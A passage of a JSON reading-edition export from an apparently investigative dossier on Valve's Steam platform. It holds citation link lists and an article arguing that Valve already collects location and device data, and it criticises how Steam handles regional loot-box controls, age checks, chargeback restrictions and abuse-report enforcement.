            "url": "https://steamcommunity.com/market/listings/440/Mann%20Co.%20Supply%20Crate%20Key"
          },
          {
            "label": "[E107] Issuance-bug remedy",
            "url": "https://www.teamfortress.com/post.php?id=53025"
          },
          {
            "label": "Follow the transaction mechanism ↗",
            "url": "https://phishdestroy.io/steam_dossier/gambling-system.html"
          },
          {
            "label": "Follow the outside settlement services ↗",
            "url": "https://phishdestroy.io/steam_dossier/trade-tracking.html"
          },
          {
            "label": "[E94]",
            "url": "https://blog.counter-strike.net/2019/10/26113/"
          },
          {
            "label": "[E81]",
            "url": "https://steamcommunity.com/market/listings/440/Mann%20Co.%20Supply%20Crate%20Key"
          },
          {
            "label": "[E108]",
            "url": "https://blog.counter-strike.net/expresstrade/"
          },
          {
            "label": "The transition to player-held inventory ↗",
            "url": "https://phishdestroy.io/steam_dossier/valve-and-enforcement.html#p2p-enforcement"
          },
          {
            "label": "[E95]",
            "url": "https://doanegrantthornton-docs.webpal.net/document-folder/viewer/docul8LWsxcWho7J/31250879551604896"
          },
          {
            "label": "Order §§3–4 · PDF p. 12 ↗",
            "url": "https://doanegrantthornton-docs.webpal.net/document-folder/viewer/docul8LWsxcWho7J/31250879551604896#page=12"
          },
          {
            "label": "THE SEPARATE TERRITORIAL QUESTIONTrace the regional funding intermediaries.The MTS page, payment terms and records needed to assess sanctions exposure ↗",
            "url": "https://phishdestroy.io/steam_dossier/money-and-enforcement.html#regional-funding"
          },
          {
            "label": "[E94]",
            "url": "https://blog.counter-strike.net/2019/10/26113/"
          },
          {
            "label": "[E95]",
            "url": "https://doanegrantthornton-docs.webpal.net/document-folder/viewer/docul8LWsxcWho7J/31250879551604896"
          },
          {
            "label": "Follow the voucher route ↗",
            "url": "https://phishdestroy.io/steam_dossier/aml-data.html#gift-code-route"
          },
          {
            "label": "Follow custody and release control ↗",
            "url": "https://phishdestroy.io/steam_dossier/aml-data.html#wallet-custody"
          },
          {
            "label": "[E96]",
            "url": "https://store.steampowered.com/oldnews/19618"
          },
          {
            "label": "[E14]",
            "url": "https://help.steampowered.com/en/faqs/view/6300-A6C4-519D-A3F5"
          },
          {
            "label": "[E102]",
            "url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/selected-support-records.json"
          },
          {
            "label": "Read the original account ↗",
            "url": "https://www.reddit.com/r/DotA2/comments/vt76ov/funds_stolen_through_steam_market_disappointed/"
          },
          {
            "label": "[E102]",
            "url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/selected-support-records.json"
          },
          {
            "label": "Read the original account ↗",
            "url": "https://www.reddit.com/r/legaladvice/comments/1kipjde/got_10k_stollen_from_steam_inventory_due_to_steam/"
          },
          {
            "label": "Historical API-key record ↗",
            "url": "https://phishdestroy.io/steam_dossier/steam-access.html#key-history"
          },
          {
            "label": "The Market loss route ↗",
            "url": "https://phishdestroy.io/steam_dossier/money-and-enforcement.html#market-losses"
          },
          {
            "label": "The dated filter audit ↗",
            "url": "https://phishdestroy.io/steam_dossier/steam-access.html#link-filter"
          },
          {
            "label": "[E47]",
            "url": "https://www.darknavy.org/blog/exploiting_steam_usual_and_unusual_ways_in_the_cef_framework/"
          },
          {
            "label": "[E104]",
            "url": "https://www.chromium.org/developers/how-tos/api-keys/"
          },
          {
            "label": "[E97]",
            "url": "https://www.magpcss.org/ceforum/viewtopic.php?f=7&t=20220"
          },
          {
            "label": "Read the wider browser investigation ↗",
            "url": "https://phishdestroy.io/steam_dossier/"
          },
          {
            "label": "[E109]",
            "url": "https://support.faceit.com/hc/en-us/articles/9394666828188-What-is-FACEIT-Anti-cheat-and-how-does-it-work"
          },
          {
            "label": "[E99]",
            "url": "https://support.riotgames.com/en-us/riot/performance/what-is-vanguard"
          },
          {
            "label": "[E98]",
            "url": "https://learn.microsoft.com/en-us/windows-hardware/drivers/develop/distributing-a-driver-package"
          },
          {
            "label": "[E106]",
            "url": "https://partner.steamgames.com/doc/features/anticheat"
          },
          {
            "label": "[E104]",
            "url": "https://www.chromium.org/developers/how-tos/api-keys/"
          },
          {
            "label": "[E98]",
            "url": "https://learn.microsoft.com/en-us/windows-hardware/drivers/develop/distributing-a-driver-package"
          },
          {
            "label": "Inspect the access mechanisms ↗",
            "url": "https://phishdestroy.io/steam_dossier/steam-access.html"
          },
          {
            "label": "Inspect the extension’s remote commands ↗",
            "url": "https://phishdestroy.io/steam_dossier/csgofast-sih.html#control"
          },
          {
            "label": "[E100]",
            "url": "https://help.steampowered.com/en/faqs/view/4D81-BB44-4F5C-9B6B"
          },
          {
            "label": "[E105]",
            "url": "https://learn.microsoft.com/en-us/windows-hardware/drivers/display/gpu-paravirtualization"
          },
          {
            "label": "[E66]",
            "url": "https://help.steampowered.com/en/faqs/view/71D3-35C2-AD96-AA3A"
          },
          {
            "label": "[E112]",
            "url": "https://www.vanityfair.com/video/watch/vf-secret-obsessions-lisa"
          },
          {
            "label": "[E101]",
            "url": "https://store.steampowered.com/news/posts/?appgroupname=Counter-Strike%3A+Global+Offensive&appids=730&enddate=1728000977&feed=steam_community_announcements"
          },
          {
            "label": "[E14]",
            "url": "https://help.steampowered.com/en/faqs/view/6300-A6C4-519D-A3F5"
          },
          {
            "label": "seven-Major inspect dataset ↗",
            "url": "https://phishdestroy.io/steam_dossier/major_skins/"
          },
          {
            "label": "[E111]",
            "url": "https://www1.hkexnews.hk/listedco/listconews/sehk/2026/0421/2026042100394.pdf"
          },
          {
            "label": "[E89]",
            "url": "https://www.raadvanstate.nl/uitspraken/@130150/202005769-1-a3/"
          },
          {
            "label": "Follow the regional-control record ↗",
            "url": "https://phishdestroy.io/steam_dossier/privacy-and-enforcement.html#regional-control"
          },
          {
            "label": "Follow the ledger and item routes ↗",
            "url": "https://phishdestroy.io/steam_dossier/gambling-system.html"
          },
          {
            "label": "Follow Steam access ↗",
            "url": "https://phishdestroy.io/steam_dossier/steam-access.html"
          },
          {
            "label": "Review incentives and developer replies ↗",
            "url": "https://phishdestroy.io/steam_dossier/reviews-and-incentives.html"
          },
          {
            "label": "The SIH account-operation record ↗",
            "url": "https://phishdestroy.io/steam_dossier/csgofast-sih.html#control"
          },
          {
            "label": "https://help.steampowered.com/en/faqs/view/6300-A6C4-519D-A3F5",
            "url": "https://help.steampowered.com/en/faqs/view/6300-A6C4-519D-A3F5"
          },
          {
            "label": "https://help.steampowered.com/en/faqs/view/365F-4BEE-2AE2-7BDD",
            "url": "https://help.steampowered.com/en/faqs/view/365F-4BEE-2AE2-7BDD"
          },
          {
            "label": "https://ag.ny.gov/sites/default/files/court-filings/new-york-v-valve-corporation-complaint-2026.pdf",
            "url": "https://ag.ny.gov/sites/default/files/court-filings/new-york-v-valve-corporation-complaint-2026.pdf"
          },
          {
            "label": "https://partner.steamgames.com/doc/store/china?l=english",
            "url": "https://partner.steamgames.com/doc/store/china?l=english"
          },
          {
            "label": "https://help.steampowered.com/en/faqs/view/34A1-EA3F-83ED-54AB",
            "url": "https://help.steampowered.com/en/faqs/view/34A1-EA3F-83ED-54AB"
          },
          {
            "label": "https://www.teamfortress.com/post.php?id=53025",
            "url": "https://www.teamfortress.com/post.php?id=53025"
          },
          {
            "label": "https://phishdestroy.io/steam_dossier/steam_tos_assets/selected-support-records.json",
            "url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/selected-support-records.json"
          },
          {
            "label": "https://steamcommunity.com/market/listings/440/Mann%20Co.%20Supply%20Crate%20Key",
            "url": "https://steamcommunity.com/market/listings/440/Mann%20Co.%20Supply%20Crate%20Key"
          },
          {
            "label": "https://blog.counter-strike.net/2019/10/26113/",
            "url": "https://blog.counter-strike.net/2019/10/26113/"
          },
          {
            "label": "https://blog.counter-strike.net/expresstrade/",
            "url": "https://blog.counter-strike.net/expresstrade/"
          },
          {
            "label": "https://doanegrantthornton-docs.webpal.net/document-folder/viewer/docul8LWsxcWho7J/31250879551604896",
            "url": "https://doanegrantthornton-docs.webpal.net/document-folder/viewer/docul8LWsxcWho7J/31250879551604896"
          },
          {
            "label": "https://store.steampowered.com/oldnews/19618",
            "url": "https://store.steampowered.com/oldnews/19618"
          },
          {
            "label": "https://www.darknavy.org/blog/exploiting_steam_usual_and_unusual_ways_in_the_cef_framework/",
            "url": "https://www.darknavy.org/blog/exploiting_steam_usual_and_unusual_ways_in_the_cef_framework/"
          },
          {
            "label": "https://www.chromium.org/developers/how-tos/api-keys/",
            "url": "https://www.chromium.org/developers/how-tos/api-keys/"
          },
          {
            "label": "https://www.magpcss.org/ceforum/viewtopic.php?f=7&t=20220",
            "url": "https://www.magpcss.org/ceforum/viewtopic.php?f=7&t=20220"
          },
          {
            "label": "https://support.faceit.com/hc/en-us/articles/9394666828188-What-is-FACEIT-Anti-cheat-and-how-does-it-work",
            "url": "https://support.faceit.com/hc/en-us/articles/9394666828188-What-is-FACEIT-Anti-cheat-and-how-does-it-work"
          },
          {
            "label": "https://support.riotgames.com/en-us/riot/performance/what-is-vanguard",
            "url": "https://support.riotgames.com/en-us/riot/performance/what-is-vanguard"
          },
          {
            "label": "https://learn.microsoft.com/en-us/windows-hardware/drivers/develop/distributing-a-driver-package",
            "url": "https://learn.microsoft.com/en-us/windows-hardware/drivers/develop/distributing-a-driver-package"
          },
          {
            "label": "https://partner.steamgames.com/doc/features/anticheat",
            "url": "https://partner.steamgames.com/doc/features/anticheat"
          },
          {
            "label": "https://help.steampowered.com/en/faqs/view/4D81-BB44-4F5C-9B6B",
            "url": "https://help.steampowered.com/en/faqs/view/4D81-BB44-4F5C-9B6B"
          },
          {
            "label": "https://learn.microsoft.com/en-us/windows-hardware/drivers/display/gpu-paravirtualization",
            "url": "https://learn.microsoft.com/en-us/windows-hardware/drivers/display/gpu-paravirtualization"
          },
          {
            "label": "https://help.steampowered.com/en/faqs/view/71D3-35C2-AD96-AA3A",
            "url": "https://help.steampowered.com/en/faqs/view/71D3-35C2-AD96-AA3A"
          },
          {
            "label": "https://www.vanityfair.com/video/watch/vf-secret-obsessions-lisa",
            "url": "https://www.vanityfair.com/video/watch/vf-secret-obsessions-lisa"
          },
          {
            "label": "https://store.steampowered.com/news/posts/?appgroupname=Counter-Strike%3A+Global+Offensive&appids=730&enddate=1728000977&feed=steam_community_announcements",
            "url": "https://store.steampowered.com/news/posts/?appgroupname=Counter-Strike%3A+Global+Offensive&appids=730&enddate=1728000977&feed=steam_community_announcements"
          },
          {
            "label": "https://www1.hkexnews.hk/listedco/listconews/sehk/2026/0421/2026042100394.pdf",
            "url": "https://www1.hkexnews.hk/listedco/listconews/sehk/2026/0421/2026042100394.pdf"
          },
          {
            "label": "https://www.raadvanstate.nl/uitspraken/@130150/202005769-1-a3/",
            "url": "https://www.raadvanstate.nl/uitspraken/@130150/202005769-1-a3/"
          }
        ],
        "tables": [],
        "cited_source_ids": [
          "E14",
          "E32",
          "E38",
          "E110",
          "E103",
          "E107",
          "E102",
          "E81",
          "E94",
          "E108",
          "E95",
          "E96",
          "E47",
          "E104",
          "E97",
          "E109",
          "E99",
          "E98",
          "E106",
          "E100",
          "E105",
          "E66",
          "E112",
          "E101",
          "E111",
          "E89"
        ]
      },
      "resources": [
        {
          "url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/selected-support-records.json",
          "sha256": "717d1be64fda9811e842b9735a0e9575df43398b29d02d8eaf0f08256f2fc3c4",
          "bytes": 20033
        }
      ]
    },
    {
      "schema": "phishdestroy.reading-edition.v2",
      "schema_url": "https://phishdestroy.io/steam_dossier/exports/reading-2026-10-18/article.schema.json",
      "object_type": "Dated article reading edition with PDF digest",
      "id": "privacy-and-enforcement",
      "language": "en",
      "title": "Existing data. Selective privacy. — Valve & enforcement · PhishDestroy",
      "author": "Agent Noel",
      "source_url": "https://phishdestroy.io/steam_dossier/privacy-and-enforcement",
      "source_file": "steam_dossier/privacy-and-enforcement.html",
      "source_html_sha256": "d9ea08850ec097778ebab538d447e5b7baef81f399361a981399b8999f22d840",
      "exported_at": "2026-10-18T11:58:30.589Z",
      "edition_date": "2026-10-18",
      "scope": {
        "text": "Authored discussion and analytical tables from the current source HTML. Interactive controls and navigation are omitted; interactive datasets remain linked.",
        "omissions": [],
        "evidence_status": "The signature authenticates this publication, not the truth or authenticity of third-party evidence."
      },
      "pdf": {
        "filename": "privacy-and-enforcement.pdf",
        "url": "https://phishdestroy.io/steam_dossier/exports/reading-2026-10-18/en/privacy-and-enforcement.pdf",
        "sha256": "0bbfa34250b31308a8b81d7d64a466dda16a765be1236f16d69c0abf0ab2932b",
        "bytes": 426217,
        "pages": 22
      },
      "integrity": {
        "signed_object": "privacy-and-enforcement.content.json",
        "signature_url": "https://phishdestroy.io/steam_dossier/exports/reading-2026-10-18/en/privacy-and-enforcement.content.json.asc",
        "checksum_url": "https://phishdestroy.io/steam_dossier/exports/reading-2026-10-18/en/privacy-and-enforcement.content.json.sha256",
        "format": "ASCII-armored detached OpenPGP",
        "signing_key_fingerprint": "129FC7F39C40C69D2EF3C329BFCF9E8DD295EE01",
        "public_key": "https://phishdestroy.io/.well-known/pgp-key.txt",
        "scope": "Exact UTF-8 JSON bytes, including content and the PDF SHA-256. No cryptographic PDF document signature is asserted."
      },
      "license": {
        "identifier": "CC0-1.0",
        "application": "Authored material only; third-party material retains its own rights.",
        "rights_statement_url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/license-rights.json",
        "rights_statement_sha256": "80d67354f8e5efd65b03696be950fb0f95c188d0089b1604281d0a4daff3f4cb"
      },
      "content": {
        "text": "Contents · Live article\n\nEXISTING DATA / ACCESS / REMEDYREVIEWED 11 OCT 2026 · UTC\n\nTHE INFORMATION IS ALREADY THERE.\n\nExisting data. Selective privacy.\n\nValve must account for the power it already uses.\n\nINVESTIGATION BY AGENT NOEL\n\nLocation signals, device records, payment restrictions and moderation decisions all sit inside the same platform. Invoking privacy against regulation leaves a central question unanswered: how does Valve use that existing control to protect people, and how can a person challenge its use?\n\nFollow the existing record ↓The disclosure demands ↗\nONE PLATFORM / UNEQUAL VISIBILITY\nVALVE CANIdentify.\nCorrelate.\nRestrict.\nTHE USER NEEDSThe evidence.\nThe reason.\nA remedy.\n\nA restriction is an exercise of power. Its justification must be open to challenge.\n\nOriginal 11 October edition · complete text →\n01\n\nTHE BASELINE VALVE’S RESPONSE LEAVES OUT\n\nA VPN does not erase the account’s history.\n\nValve describes additional location checks as a new worldwide intrusion. Assessing that claim requires an inventory of the information already collected and the decisions already made with it. [E14]\n\nThe existing record—not a hypothetical new surveillance system\nLayer\tPublicly documented capability\tThe question it raises\nAccount & network\tThe privacy policy lists SteamID, country of residence and logged IP addresses. [E71]\tHow are historical account and location signals used when access rules change?\nDevice & activity\tThe same policy lists unique device identifiers, operating-system information, settings and application use. [E71]\tWhich identifiers persist between sessions and connect accounts or devices?\nAuthorised devices\tSteam Guard distinguishes unrecognised devices and provides an authorised-device review. [E72]\tWhat protection uses this continuity when the network address changes?\nCountry detection\tSteamworks exposes GetIPCountry, using an IP-to-location database. [E73]\tWhat additional precision is needed, for which decision, and with what error rate?\nTHE LAYERS THAT ALREADY EXIST\nA VPN changes the route, not the record.\n\nName the layers. The browser session that registered the account. The game client that still phones home from the same machine. The CDN and ASN fingerprints Valve’s own servers log on every request. [E71] [E72]\n\nA player who registers on the web in New York, connects through a VPN and launches the same client leaves a chain Valve already records: one machine, one client build, one account history, requests crossing Valve’s own network edge at every step. Local transfers move installations between machines; they do not delete the download and authorisation events already logged. [E90]\n\nPublish that chain — device, client build, network trace, account history — before claiming that only new, total collection can establish location.\n\nTHE TECHNICAL POINT\n\nChanging a network route does not inherently reset an application’s device identifier. A long account history followed by a VPN connection can therefore be evaluated alongside existing device and authorisation records. Valve should disclose how those signals are assessed, what they can establish and which less intrusive options it tested.\n\nIP intelligence can classify known VPN and hosting infrastructure. MaxMind documents such classifications and their limits. Valve should publish the location signals it actually uses, the decision thresholds, the treatment of account history and the procedure for correcting a mistaken restriction. [E74]\n\nTHE INVESTIGATION’S TESTS / REGISTRATION\nRegistration was refused behind a VPN.\n\nIn the investigation’s own tests, account registration was refused while connected through a VPN. That is an observation, not a statistic: the dated reproduction — connection conditions, time, displayed refusal and the resulting account decision — belongs beside the registration and connection records Valve already keeps, which can state the rule that fired and its error rate. [E71]\n\nTHE OPEN LEAD / NORDVPN\nWhat share of New York users arrive through NordVPN?\n\nThe author’s lead, stated as a question and not as a finding: what share of New York Steam users reach the platform through NordVPN? It is measurable, and Valve’s own connection records can answer it — connection counts by exit network for New York accounts, beside the location decisions those connections produced. No market share is asserted here; the record is the demand. [E74]\n\nDevice records, network history and Valve’s disclosure duty\n\nValve should identify the device fields its clients collect, including whether hardware and network identifiers enter its account-security or location decisions. Publish their purpose, retention, cross-account use and correction process. The relevant records are held by the platform operating the client.\n\nName the fields behind the generalisation. “Hardware and network identifiers” has specific candidates: MAC address, motherboard serial, disk serial. The demand is field-level — for each field, whether Steam’s clients collect it, where it is retained, and which account-security or location decisions it enters. Universal collection is not established on this record; field-level disclosure is what would establish or refute it.\n\nDownloads, authorisations and later account access leave a sequence of dated events. Steam also supports local-network installation transfers. Valve should explain which of those records enter its regional checks, how they are combined and why additional collection is necessary when an established account changes its network route. [E90]\n\nThe CS2 client download and its network trace are the concrete case: downloads, authorisations and later account access leave a sequence of dated events across Valve’s own CDN and ASN. That sequence is logged by Valve’s own infrastructure; it should be published with the account decisions it can inform, not folded into a claim that only new collection can locate a user.\n\nThe investigation’s VPN and registration tests belong beside that disclosure: connection conditions, time, displayed restriction and the resulting account decision. This makes Valve’s existing regional controls inspectable and gives users a concrete basis for challenging an inconsistent result.\n\nTHE EARLIER DISCLOSURE RECORDOne device. Multiple accounts. Years of retained history.The dossier’s counsel-correspondence account and its source trail ↗\n02\n\nVALVE’S OWN PRODUCT HISTORY\n\nThe regional switch already exists.\n\nCountry-specific container rules are a documented part of Counter-Strike. Valve’s privacy argument must explain what the proposed controls add to this existing system.\n\n25 APR 2018 / BELGIAN MINISTER OF JUSTICE\n\nBelgium named CS:GO explicitly.\n\nThe minister’s release reports the Gaming Commission’s finding that paid loot boxes in CS:GO, FIFA 18 and Overwatch fell under Belgian gambling law. It called for their removal and highlighted the lack of player protection. This is a directly identified Valve game in a primary regulatory record. [E91]\n\nThe source is a ministerial account of the Commission’s position. The subsequent Valve restriction is documented separately in the July release notes.\n\nNETHERLANDS / 11 JUL 2018Trading & Market: restored.\n\nThe ability to exchange was brought back.\n\nTHE SAME RELEASEContainer opening: restricted.\n\nValve changed access to the paid opening separately. [E75]\n\n11 JUL 2018\nNetherlands & Belgium: container opening restricted.\n\nValve’s release notes restored Trading and Market for Dutch customers while restricting container opening in both countries. This was a product-access decision tied to territory. [E75]\n\n30 SEP 2019\nFrance: X-Ray Scanner introduced.\n\nValve introduced a preview mechanism that consumes the container. Advancing to another reveal requires claiming the previous result. [E76]\n\n16 MAR 2026\nNetherlands & Germany: the scanner becomes the route.\n\nValve announced X-Ray Scanner access for these players, with an exception for keyless containers such as Souvenir Packages. The Netherlands record therefore changes in 2026; the announcement does not name Belgium. [E77]\n\nREGIONAL CONTROL / THE DEMONSTRATED CAPABILITY\nValve can change the product by territory.\n\nValve should disclose the architecture and effectiveness of the regional control it already operates, including its handling of VPN connections, existing account history and contested decisions. The company owes users an explanation of the alternatives it considered and the remaining gaps.\n\nX-RAY / THE ECONOMIC QUESTION\nWhat does the next unknown result cost?\n\nThe current FAQ requires purchase and receipt of the revealed item before another scan. Analysis must follow the paid sequence, including the cost of advancing, rather than stop at the presence of a preview. [E78]\n\nThe Dutch record: the ruling and Valve’s own response\n\nThe Dutch regulator’s April 2018 study found four of ten examined implementations inconsistent with its gambling-law analysis; it linked transferable prizes to economic value. The games were anonymised. [E88]\n\nThe Council of State’s 9 March 2022 ruling overturned the penalty in the EA FIFA/FUT case. Valve’s own Dutch record is the regional product change documented above: it altered trading access and container opening separately. Those are the mechanisms that its present defence must explain. [E89]\n\nPUBLIC COMPLAINT / PRIVATE NEGOTIATIONS\nPublish the demand being denounced.\n\nThe filed NYAG complaint alleges an age-confirmation checkbox rather than age verification (¶144). Its requested relief does not prescribe universal VPN detection, biometrics or worldwide identity-document collection. Valve’s account of proposed additional collection describes pre-litigation discussions. [E38] [E14]\n\nRelease the proposals: required data, affected users, retention periods and alternatives considered. The public cannot audit a sweeping privacy objection from one party’s summary of unpublished negotiations.\n\nTHE OBJECTION / 11 MAR 2026\n“Beyond what we normally collect.”\n\nValve’s own words, quoted before they are dismantled: the NYAG proposal would gather additional information “beyond what we normally collect in the course of processing payments” — collection that “would have involved implementing invasive technologies for every user worldwide.” [E14]\n\n“Normally collect” sets a baseline; “invasive technologies for every user worldwide” sets a fear. Both halves are testable against a record Valve itself has already produced.\n\nTHE PRODUCTION / OCT 2025\n830 pages about one account.\n\nMonths before that statement, Valve answered a single user’s Article 15 access request with an 830-page appendix: 902,270 covered characters still extractable beneath the failed masking. No payment processor handed Valve that file — Valve’s own systems produced it, hold it, and disclosed it only under statutory compulsion. [E21] [E13]\n\nPublish what “normally collected” already covers before it is accepted as a narrow baseline. Inspect the 830-page production and its audit trail ↗\n\n03\n\nPAYMENT IDENTITY IS NOT PLAYER AGE\n\nWho funded it? Who opens it?\n\nValve invokes age checks built into most payment methods used by its New York customers. That does not establish the age of the person spending an already funded Wallet. The system itself separates funding from use. [E14]\n\n01\nRETAIL CASH / THE HISTORICAL ROUTE\nPhysical cards put money into Wallet.\n\nThe complaint expressly describes retail gift cards bought with cash (¶29). That route cannot be answered solely by referring to a bank’s checks on a cardholder. [E38]\n\nThe historical record: the cash route is not hypothetical. Valve’s own current FAQ dates the retail programme to 2012 [E79]; GameStop’s 14 May 2012 partnership announcement, preserved in a contemporary reprint, described cash-funded Steam Wallet at physical stores; and a 2019 archival capture of Valve’s gift-card page described the physical cards as suiting cash-in-hand purchases. Valve itself marketed physical cards to buyers without bank instruments — years of its own record, not an invented funding route.\n\n2026 policy change: Valve is ending its retail gift-card programme. Stores will not be restocked; Valve expects stock to run out by the end of 2026. Existing cards remain redeemable, subject to local law. The FAQ attributes the decision to persistent gift-card scams. [E79]\n\n02\nDIGITAL GIFTS / DIFFERENT PEOPLE\nThe person paying can fund someone else.\n\nValve sells digital gifts that credit a recipient’s Wallet. Checking the buyer’s payment method does not identify the recipient currently using the game. Existing Wallet funds cannot buy these digital gift cards. [E80]\n\n03\nTF2 ITEMS / THE MARKET BRIDGE\nA tradable key can become spending balance.\n\nValve’s Mann Co. Supply Crate Key listing marks the TF2 item as tradable and marketable. Eligible Community Market sales produce Wallet funds. An externally acquired item can therefore reach the spending balance without the player’s own card funding that sale. [E81] [E15]\n\nMarket access has separate eligibility conditions, and sales proceeds alone do not remove limited-account status. These are separate gates; neither is a documented verification of the current player’s age. [E66]\n\nTHE FAILURE IN THE RESPONSE\n\nA check on one funding route cannot stand in for a check at the paid random outcome. Valve must identify the control that connects the person opening a container to a verified age, across gifts, item-sale proceeds and pre-existing balances.\n\nA CONCRETE REGIONAL FUNDING RECORDThe Russian top-up question now has a named provider.Official MTS service, territorial statements and linked card-transfer terms ↗\n\nInspect the original service and its linked terms: [E92] [E93]\n\nExternal funding, cryptocurrency and regional top-ups\n\nAn outside item purchase may be settled in money or cryptocurrency while the subsequent Steam sale credits Wallet. The payment, item delivery and Wallet credit are separate records. This page establishes the Steam leg; the fee, hold period and restriction risk for each outside seller are records held by that seller and by Valve, and they must be published beside the Community Market’s own fee schedule and hold periods.\n\nThe Russia, Crimea and Donetsk top-up record now names its provider and settlement centre [E92] [E93]. The contracting entities, transaction dates, settlement path, turnover totals and any Valve agreement are records held by MTS Payment, the settlement bank and Valve; they must publish them, and any sanctions finding rests on those disclosures. Continue through the original Steam Dossier ↗\n\nThe routes establish an age-linkage problem. Valve holds the registered ages of the accounts using each route, and each retailer holds the age checks it applied; those records, not an invented minors statistic, must answer the question.\n\nFOLLOW THE VALUE AFTER AN ACCOUNT COMPROMISEA protected trade is not protection for every route.Market sales, inflated-price purchases, Wallet proceeds and game gifts ↗\n04\n\nRESTRICTION FIRST / EXPLANATION AFTERWARDS\n\nIf the payment failed, show the evidence.\n\nSteam’s chargeback policy restricts associated accounts and purchases. Its standard remedy sends the payment-method owner to the bank to reverse the dispute; return of funds restores the purchase and removes the restriction. If reversal is impossible, the user is directed to Support. [E82]\n\n29—31 AUG2026AMERICAN EXPRESS\nFIRST-PERSON REPORTS\nUsers reported restrictions after payments they said they had not disputed.\n\nIn a Steam forum thread, users described removed purchases and payment restrictions involving AmEx. A 31 August account said Support lifted the restriction as an exception and warned about recurrence. These are direct user accounts of the incident; a confirmed cause from Valve, AmEx or the processor was not found. [E83]\n\nThe unresolved issue is concrete: what can the user challenge when Steam says “dispute” and the bank cannot supply the corresponding record?\n\nThe reports share a concrete shape: real card owners, transactions that failed or were cancelled outright, account locks that followed — and template support text in reply. [E83]\n\n17—18 AUG 2026\nThe transactions behind the restrictions.\n\nUsers dated the disputed charges to 17—18 August 2026 — purchases they denied ever disputing. One user’s card issuer confirmed two approved authorisations of $8.23 on 17 August, only one of which Steam’s processor captured and posted; the second expired uncollected. That account of an issuer conversation is relayed testimony, not an audited finding. [E83]\n\nAnother user reported the charge never reached AmEx at all: four days of processing attempts visible in Steam’s purchase history, nothing in the cardholder’s AmEx statement. A charge that never completed leaves the card owner nothing to produce — the evidentiary impossibility at the centre of the episode.\n\n29 AUG 2026\nRemoved game, locked account, no route out.\n\nThe thread’s opening report: a game removed after twelve days of play over a charge the bank said it never disputed, with repurchase refused and new payment methods rejected. [E83]\n\n31 AUG 2026\nThe exception, the warning, the re-lock.\n\nSupport lifted one user’s restriction “as an exception,” warning the account could be permanently locked if it happened again — while the disputed purchase stayed removed. Another user reported a second 17 August transaction re-triggering restrictions after an earlier unlock. A third reported Support giving “the same stock responses,” repeating “call American Express” and refusing to supply a Transaction ID or escalate to a payment specialist. [E83]\n\n02 SEP 2026\nRecords removed. Games still not restored.\n\nA user reported the chargeback records had been removed from the account — but AmEx still declined, and the disputed games were still not restored. Removing the flag did not return the purchase, and the basis of the original restriction was never supplied. [E83]\n\nTHE RECORD\nIdentify the payment event.\n\nDistinguish authorisation failure, settlement failure, reversal and a customer-initiated dispute. Supply a transaction reference and the restriction’s actual basis.\n\nTHE REVIEW\nProvide a route out of a mistaken restriction.\n\nState who reviews conflicting records, what evidence is accepted, which functions are restricted and when a decision can be expected.\n\nValve’s restriction policy includes chargebacks under payment fraud and permits restrictions across an individual’s accounts. It also distinguishes account locks, Community Bans, trade bans, VAC bans and suspensions. The relevant notice and effect must be recorded; “banned account” is not a sufficient classification. [E87]\n\nTHE DEMAND\n\nValve and its payment processor should publish the transaction event records behind these account actions. Authorisation, capture, settlement, reversal and dispute status for each transaction, tied to the restriction it produced and the account decision that followed. The parties whose systems generated the events can produce the record; the user cannot produce a statement for a charge that never completed. “Call your bank” is not evidence — it is the absence of one. [E83]\n\nTHE ENFORCEMENT QUESTION\n\nValve can make a payment event immediately consequential for the user. The corresponding obligation is a usable explanation and correction process. Calling a remedy an exception does not explain whether the original classification was right.\n\n05\n\nTHE STANDARD OF PROOF MUST TRAVEL BOTH WAYS\n\nValve can document abuse. Apply that standard consistently.\n\nValve’s discussion of media and real-world violence does not answer the question of threats and abuse inside its own reporting and support systems. The relevant record is what people submitted, how Valve assessed it and what decisions followed. [E14]\n\nSMIRNOV v. VALVE / NEVSKY DISTRICT COURT\nA documented litigation trail.\n\nCase № 2-5519/2022 · UID 78RS0015-01-2021-007838-13\n\n01 SEP 2022\nThe claim was dismissed.\n\nThe Nevsky District Court decision dates to 1 September; final form followed on 2 September. The requested RUB 74,598,433 penalty and RUB 50 million moral-damage award were separate demands. The widely circulated 13 September date concerns reporting of the case. [E84] [E86]\n\n28 JUN 2023\nValve’s side commissioned a linguistic examination.\n\nThe 66-page GLADIS report, published by its authors, identifies an 8 June contract with the Baker & McKenzie CIS branch. It examines the claimant’s correspondence with Steam Support, using submitted screenshots and translated printouts. This was a party-commissioned specialist report. [E85]\n\n22 MAY 2024\nThe cassation court upheld the refusal.\n\nThe court describes escalating Community restrictions and the expert findings on insults, discriminatory statements and threats. It records that the claimant declined the opportunity to seek a court-appointed examination or submit contrary evidence. Case № 88-10528/2024. [E86]\n\nTHE SUBMITTED FILE / A MATERIAL DIMENSION\nAudit the evidentiary package itself.\n\nThe record has a material dimension this page has not audited: the PDF Valve’s side submitted. The report, the translated printouts and the screenshots were filed as evidence — and how that package was assembled and edited shows what Valve’s counsel treats as an acceptable evidentiary file. [E85] [E86]\n\nReproduce the submitted materials, with third-party identifiers protected, and audit the file itself: who compiled it, what was cut, and whether the court received the same text the reports contained. The standard Valve demands of a sanctioned user’s words applies to the file its own side carried into court.\n\nTHE LITIGATION RECORD\nLanguage was examined as evidence.\n\nValve’s side obtained an extended analysis to support a sanction. This demonstrates that its enforcement position can be particularised and tested against a record.\n\nTHE DOSSIER’S DISCLOSURE RECORD\nAbusive reports require the same scrutiny.\n\nThe Steam Dossier describes nationality-based abuse and death wishes in retained reports. Its public audit establishes failed masking across 830 pages and 902,270 extractable covered characters. [E13] [E21]\n\nONE RULE / AN AUDITABLE APPLICATION\n\nWhich reports were used against their target, and what happened to abusive reporters? Publish anonymised decision records showing the allegation, assessment, rule applied, sanction and appeal result. Evidence submitted to justify a sanction must be distinguished from material merely retained in a file.\n\nFollow the report from submission to sanction\n\nThe aggregate audit counts 177 occurrences of the heading “Abuse Reporter Account Name”. That is a document-label count, not a count of unique complainants, abusive reports or proven violations. It does not record the moderation outcome for each report.\n\nFor the reported pornographic link, Valve should produce the processing history and an appropriately redacted exhibit: who assessed it, whether it was relied upon, which rule applied and what decision followed. The audit should expose the handling of the report while protecting third-party identifiers.\n\nSteamworks documents text-filtering functions. Valve should identify the filters and rules actually applied to threats, 